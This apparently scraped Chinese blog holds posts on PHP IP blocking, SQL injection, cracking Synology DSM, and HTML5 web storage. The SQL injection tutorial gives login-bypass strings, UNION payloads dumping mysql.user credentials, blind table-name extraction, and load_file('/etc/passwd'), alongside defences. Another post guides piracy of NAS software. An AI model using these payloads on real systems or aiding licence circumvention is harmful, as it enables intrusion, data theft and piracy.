2015年4月14日 星期二
Ip如何限制讀取ip的寫法
$ip=ip2long(getenv("REMOTE_ADDR"));
if ($ip>=ip2long("195.74.96.0") AND $ip<=ip2long("195.74.127.255"))
{
$ok = 1;
}else{
header("location:blocked.php");
}
?>
這個效果還不錯
2015年4月10日 星期五
SQL injection 基本介紹
SQL injection(又稱SQL注入式攻擊 或是 SQL資料隱碼攻擊),指的是利用SQL指令的輸入字串中夾帶其他的SQL指令,一般來說都是從正當的查詢指令中夾帶惡意指令
例如:非法取得資料、惡意破壞資料...等。因此在程式設計時,也必須把這個基本的安全性給考慮進去。
下面就介紹一個基本的SQL injection範例(以帳號登入為例)
首先,我們先建立一個HTML表單來傳送資料
<form action="testsql.php" method="post">
帳號:<input type="text" name="account"><br>
密碼:<input type="password" name="password"><br>
<input type="submit" value="送出">
</form>
同時也建立一個資料庫來做測試
接著就可以撰寫接收端程式
//接收帳號、密碼
$account = $_REQUEST['account'];
$pass = $_REQUEST['password'];
//密碼使用md5加密
$password = md5($pass);
//查詢有無符合帳號資料
$sql = "SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
$res = mysql_query($sql);
$result = mysql_fetch_array($res);
if(empty($result)){
//若無符合顯示查無帳號
echo "查無此帳號<br>";
echo $sql;
echo "<br>輸入帳號".$account;
echo "<br>輸入密碼".$pass;
}else{
//若符合顯示帳號、密碼資訊
echo "帳號:".$account;
echo "<br>密碼:".$pass;
echo "<br>".$sql;
}
以此例說明:
當帳號輸入"' OR ''=''#" 或是 "' OR ''=''-- "(雙引號內字串)就可以進行非法登入(如下圖)
或是
原理:在SQL指令中 "#"和"-- "代表注釋
因此原本輸入的查詢是
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
會變成account欄位等於空 或是 ''='' ,後面的密碼則被注釋掉了
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."'' OR ''=''";
而後者條件成立,SQL指令就會開始執行(如下圖,此例取出第一筆資料)
解決這類型的非法登入的方式有幾種:
1. 使用正則表達式過濾字串;這是最搞剛卻也最安全的作法
2. 使用addslashes();這個函數會在所有的單引號前加上反斜線
下面就用addslashes()來簡單說明
//在接收的參數錢加上addslashes()
$account = addslashes($_REQUEST['account']);
$pass = addslashes($_REQUEST['password']);
再測試非法登入
輸入的資料經過轉換後,單引號的作用就失效了
這樣就能有效防範非法登入,而且對於一般人使用正當登入方法不受影響
例如:非法取得資料、惡意破壞資料...等。因此在程式設計時,也必須把這個基本的安全性給考慮進去。
下面就介紹一個基本的SQL injection範例(以帳號登入為例)
首先,我們先建立一個HTML表單來傳送資料
<form action="testsql.php" method="post">
帳號:<input type="text" name="account"><br>
密碼:<input type="password" name="password"><br>
<input type="submit" value="送出">
</form>
同時也建立一個資料庫來做測試
接著就可以撰寫接收端程式
//接收帳號、密碼
$account = $_REQUEST['account'];
$pass = $_REQUEST['password'];
//密碼使用md5加密
$password = md5($pass);
//查詢有無符合帳號資料
$sql = "SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
$res = mysql_query($sql);
$result = mysql_fetch_array($res);
if(empty($result)){
//若無符合顯示查無帳號
echo "查無此帳號<br>";
echo $sql;
echo "<br>輸入帳號".$account;
echo "<br>輸入密碼".$pass;
}else{
//若符合顯示帳號、密碼資訊
echo "帳號:".$account;
echo "<br>密碼:".$pass;
echo "<br>".$sql;
}
以此例說明:
當帳號輸入"' OR ''=''#" 或是 "' OR ''=''-- "(雙引號內字串)就可以進行非法登入(如下圖)
或是
原理:在SQL指令中 "#"和"-- "代表注釋
因此原本輸入的查詢是
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."' AND `password` LIKE '".$password."'";
會變成account欄位等於空 或是 ''='' ,後面的密碼則被注釋掉了
"SELECT * FROM `test_sql` WHERE `account` LIKE '".$account."'' OR ''=''";
而後者條件成立,SQL指令就會開始執行(如下圖,此例取出第一筆資料)
解決這類型的非法登入的方式有幾種:
1. 使用正則表達式過濾字串;這是最搞剛卻也最安全的作法
2. 使用addslashes();這個函數會在所有的單引號前加上反斜線
下面就用addslashes()來簡單說明
//在接收的參數錢加上addslashes()
$account = addslashes($_REQUEST['account']);
$pass = addslashes($_REQUEST['password']);
再測試非法登入
輸入的資料經過轉換後,單引號的作用就失效了
這樣就能有效防範非法登入,而且對於一般人使用正當登入方法不受影響
SQL Injection 常見的駭客攻擊方式
Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。
SQL 語法的註解
SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
- 「/*」 MySQL
- 「--」 MsSQL
- 「#」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。
防護方式
Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,md5 目前也已經有破解方式了,使用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:$name=eregi_replace("[\']+" , '' ,$name); Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#」
SQL Injection 攻擊
取得 Table name
如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
- [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
- [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
- union select%20host,user,password fROM mysql.user limit 1,1#
- union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
- union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
- sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
- sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
- sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
- sqlInjection.php?id=1' or exists(select 1 from members)/*
- sqlInjection.php?id=1' or exists(select 1 from admin)%23
- sqlInjection.php?id=1' or exists(select 1 from products)--
暴力猜測 Table Name
資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97, b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
- id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
- id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
- id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
- id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
- id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
- id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
取得 MySQL 資料庫相關訊息
取得連線帳號 user()
- sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
- sqlInjection.php?id=1' select 1,2,version()/*
讀取系統檔案內容
透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
- union select 1,2,load_file('/etc/passwd')
使用 PDO 防止 SQL Injection
http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
- $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", '', 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\'');
- $sth = $db->prepare('select * from table where id =:id and title= :title ');
- $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
- $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
- $sth->execute();
- $sth->fetch(PDO::FETCH_ASSOC);
- PDO::PARAM_INT 數字
- PDO::PARAM_STR 字串
相關教學下載
This post was last modified by
2015年4月9日 星期四
[分享]黑NAS --群輝DSM 5.0系列教學 (不用買貴,直接破解使用)
資料來源
話說前天在掏寶上找SERVER DOM的時候
發現了居然有USB DOM 4G 內建群輝NAS OS....
上面有連入TEST
玩了一下覺得這種圖形化的NAS,權限設定和外掛功能都蠻強的
如可以跟百度芸,GOOGLE,DROPBOX做連動
且支援外插配件,USB WIFI ,藍芽等
想說既然有人在賣,那應該有破解教學文章
爬了一下文,發現還蠻簡單的
所需檔案懶人包
第一步驟
弄個隨身碟(不能小於4G)
用Win32DiskImager
寫入gnoboot-alpha7-4458.IMG到隨身碟
然候把USB插到你要當NAS的那台機器上,選擇開機
正式安装-----開機後螢幕上會出现三个選項,選擇第二項gnoboot-me,(這個地方是關鍵,因為預設是第一個選項,裝完DSM就可以預設的第一選項啟動 )進去後會出现4458的版本安装
跑到這個畫面之後
開啟Synology Assistant
會找到一台數據損毀的NAS
在IP上面點兩下會進到網頁安裝模式(建議用網頁安裝)
這時候在去載入DSM_DS3612xs_4458
大概10來分就可以跑完
這時候已完成80%
接下來要以網卡MAC位址算序號
不然DS帳號功能,跟媒體伺服器功能無效
話說前天在掏寶上找SERVER DOM的時候
發現了居然有USB DOM 4G 內建群輝NAS OS....
上面有連入TEST
玩了一下覺得這種圖形化的NAS,權限設定和外掛功能都蠻強的
如可以跟百度芸,GOOGLE,DROPBOX做連動
且支援外插配件,USB WIFI ,藍芽等
想說既然有人在賣,那應該有破解教學文章
爬了一下文,發現還蠻簡單的
所需檔案懶人包
第一步驟
弄個隨身碟(不能小於4G)
用Win32DiskImager
寫入gnoboot-alpha7-4458.IMG到隨身碟
然候把USB插到你要當NAS的那台機器上,選擇開機
正式安装-----開機後螢幕上會出现三个選項,選擇第二項gnoboot-me,(這個地方是關鍵,因為預設是第一個選項,裝完DSM就可以預設的第一選項啟動 )進去後會出现4458的版本安装
跑到這個畫面之後
開啟Synology Assistant
會找到一台數據損毀的NAS
在IP上面點兩下會進到網頁安裝模式(建議用網頁安裝)
這時候在去載入DSM_DS3612xs_4458
大概10來分就可以跑完
這時候已完成80%
接下來要以網卡MAC位址算序號
不然DS帳號功能,跟媒體伺服器功能無效
2015年4月6日 星期一
[HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage
資料來源
目前我覺得跟Cookie相似度極高,但可以存的內容較豐富,硬要說有什麼缺點,有人說是安全性,不過安全性的問題跟系統如何設計有關,我覺得稱不上他的缺點....
2011/3/28 下午 10:30 | gipi 回覆
我把http://www.w3school.com.cn/tiy/t.asp?f=html5_webstorage_local_pagecount 這個範例copy到我的伺服器上時,在ie 下無法正常執行,但在w3c 的範例上又可以正常,請問這差別在哪裡? 謝謝。
2014/8/19 上午 11:17 | 林 回覆
如果你用了不同的瀏覽器,那你可以確認一下你的IE版本,並非所有的版本都支援此特性。
Web storage is supported in Internet Explorer 8+, Firefox, Opera, Chrome, and Safari.
Note: Internet Explorer 7 and earlier versions, do not support Web Storage.
2014/8/19 下午 04:43 | gipi 回覆
2014/8/19 下午 05:22 | 林 回覆
貼一下你的程式碼可能快一些。
2014/8/20 下午 09:42 | gipi 回覆
今天看了一下HTML5之前一直強調的功能,就是在Client端可以暫存更多的資訊,其實在Client端暫存資料並不是什麼新鮮事,Cookie就可以做到了,但Cookie在使用上有幾個不便利的地方:
如果我們今天希望有更大的空間、更安全的保存、更少的頻寬浪費,在Client端找個地方暫存我們想暫存的數據似乎就變得非常重要了,在HTML5的Storage技術推出前其實已經有一些技術逐步在實現這樣的目標(包含透過Flash或Sliverlight),但到了HTML5才算是統一標準並集大成,目前支援HTML5 Storage的瀏覽器及版本如下:
原則上比較知名的瀏覽器在現行的版本中大多支援,連手機上的瀏覽器也漸漸的支援HTML5 Storage了,這對開發人員來說算是很好的一個消息。
HTML5的Storage主要分為兩種:localStorage與sessionStorage,這兩者主要在生命週期上有較明顯的差別,localStorage的生命週期較長,原則上要等到透過Javascript將內容清掉或者使用者清空Cache時才會消失;而sessionStorage則是在Browser/Tab關閉時就會清空,下面先來看一個簡單的範例:
我先在畫面上拉兩個欄位:
當我按下Save時會將TextBox中的文字分別寫到locaoStorage跟sessionStorage中,並寫了一個讀取Storage的function:
然後我在兩個欄位分別輸入local跟session的文字,按下『Save』後會refresh畫面,並在body onload事件中會觸發localStorage的事件:
我們可以發現網頁上的值確實被保存下來了,如果這時候我按下『OpenWin』的按鈕,透過showModalDialog的方式開啟另一個視窗,會發現兩個視窗的值相同,這邊先初步證明了localStorage/sessionStorage的值是被保存下來的:
接著來求證一下sessionStorage的值只會保存在單一Tab中,我們用相同的網址開啟HTML5Storage這個頁面,我們可以發現localStorage的值仍然在,但sessionStorage的值已經消失了,而localStorage則在關閉瀏覽器再開啟時還是可以看的到,透過這樣簡單的範例大致上求證了一下兩者生命週期的差異,我測試過IE9、Chrome11、FF3.6:
適度地透過Browser的Storage可以加快網頁的載入速度也可提高用戶的使用體驗。
參考資料:
Dive Into HTML5
Introduction to DOM Storage
HTML5 Web Storage, Using localStorage and sessionStorage Objects
- Cookie在每個HTTP request送出時都會被送到Server端,不管你沒有要用到Cookie中的資訊,在某種程度上會拖慢執行的效能與浪費不必要的網路頻寬
- Cookie送出的資料本身並沒有加密,因此除非我們用SSL一類的技術做加密,否則Cookie中不宜放任何重要的資訊
- Cookies最大才4KB,不可能存太多資料
如果我們今天希望有更大的空間、更安全的保存、更少的頻寬浪費,在Client端找個地方暫存我們想暫存的數據似乎就變得非常重要了,在HTML5的Storage技術推出前其實已經有一些技術逐步在實現這樣的目標(包含透過Flash或Sliverlight),但到了HTML5才算是統一標準並集大成,目前支援HTML5 Storage的瀏覽器及版本如下:
原則上比較知名的瀏覽器在現行的版本中大多支援,連手機上的瀏覽器也漸漸的支援HTML5 Storage了,這對開發人員來說算是很好的一個消息。
HTML5的Storage主要分為兩種:localStorage與sessionStorage,這兩者主要在生命週期上有較明顯的差別,localStorage的生命週期較長,原則上要等到透過Javascript將內容清掉或者使用者清空Cache時才會消失;而sessionStorage則是在Browser/Tab關閉時就會清空,下面先來看一個簡單的範例:
我先在畫面上拉兩個欄位:
當我按下Save時會將TextBox中的文字分別寫到locaoStorage跟sessionStorage中,並寫了一個讀取Storage的function:
1 | function loadStorage() { |
2 | document.getElementById( "local" ).value = window.localStorage[ "local" ]; |
3 | document.getElementById( "session" ).value = window.sessionStorage[ "session" ]; |
4 | } |
5 |
6 | function saveToStorage() { |
7 | window.localStorage[ "local" ] = document.getElementById( "local" ).value; |
8 | window.sessionStorage[ "session" ] = document.getElementById( "session" ).value; |
9 | } |
我們可以發現網頁上的值確實被保存下來了,如果這時候我按下『OpenWin』的按鈕,透過showModalDialog的方式開啟另一個視窗,會發現兩個視窗的值相同,這邊先初步證明了localStorage/sessionStorage的值是被保存下來的:
接著來求證一下sessionStorage的值只會保存在單一Tab中,我們用相同的網址開啟HTML5Storage這個頁面,我們可以發現localStorage的值仍然在,但sessionStorage的值已經消失了,而localStorage則在關閉瀏覽器再開啟時還是可以看的到,透過這樣簡單的範例大致上求證了一下兩者生命週期的差異,我測試過IE9、Chrome11、FF3.6:
適度地透過Browser的Storage可以加快網頁的載入速度也可提高用戶的使用體驗。
參考資料:
Dive Into HTML5
Introduction to DOM Storage
HTML5 Web Storage, Using localStorage and sessionStorage Objects
關連文章
回應
# re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage
to jain :目前我覺得跟Cookie相似度極高,但可以存的內容較豐富,硬要說有什麼缺點,有人說是安全性,不過安全性的問題跟系統如何設計有關,我覺得稱不上他的缺點....
2011/3/28 下午 10:30 | gipi 回覆
# re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage
gipi 你好,我把http://www.w3school.com.cn/tiy/t.asp?f=html5_webstorage_local_pagecount 這個範例copy到我的伺服器上時,在ie 下無法正常執行,但在w3c 的範例上又可以正常,請問這差別在哪裡? 謝謝。
2014/8/19 上午 11:17 | 林 回覆
# re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage
你說靶範例copy到你的伺服器上,然後在IE執行是不行的,但同樣的code,你在w3c的網站上執行是ok的,在這過程,你用的都是IE嗎?如果你用了不同的瀏覽器,那你可以確認一下你的IE版本,並非所有的版本都支援此特性。
Web storage is supported in Internet Explorer 8+, Firefox, Opera, Chrome, and Safari.
Note: Internet Explorer 7 and earlier versions, do not support Web Storage.
2014/8/19 下午 04:43 | gipi 回覆
# re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage
是的,我是用 IE 10 來測試的,但剛才我把 localStorage 換成 sessionStorage 時,是可以正常執行的。2014/8/19 下午 05:22 | 林 回覆
# re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage
to 林 :貼一下你的程式碼可能快一些。
2014/8/20 下午 09:42 | gipi 回覆
# re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage
gipi 大,以下是我的程式碼,在 Chrome 下執行正常,但在 IE10 執行時不會運作。01 |
|
02 | < html > |
03 | < body > |
04 |
05 | < script type = "text/javascript" > |
06 |
07 | if (localStorage.pagecount) |
08 | { |
09 | localStorage.pagecount=Number(localStorage.pagecount) +1; |
10 | } |
11 | else |
12 | { |
13 | localStorage.pagecount=1; |
14 | } |
15 | document.write("Visits: " + localStorage.pagecount + " time(s)."); |
16 |
17 | </ script > |
18 |
19 | < p >刷新頁面會看到計數器在增長。</ p > |
20 |
21 | < p >請關閉瀏覽器窗口,然後再試一次,計數器會繼續計數。</ p > |
22 |
23 | </ body > |
24 | </ html > |
訂閱:
文章 (Atom)
# re: [HTML5]簡述HTML5的Client端暫存-localStorage/sessionStorage
看起來是解決了client端存資料的問題~有沒有缺點呢?2011/3/28 上午 09:31 | jain 回覆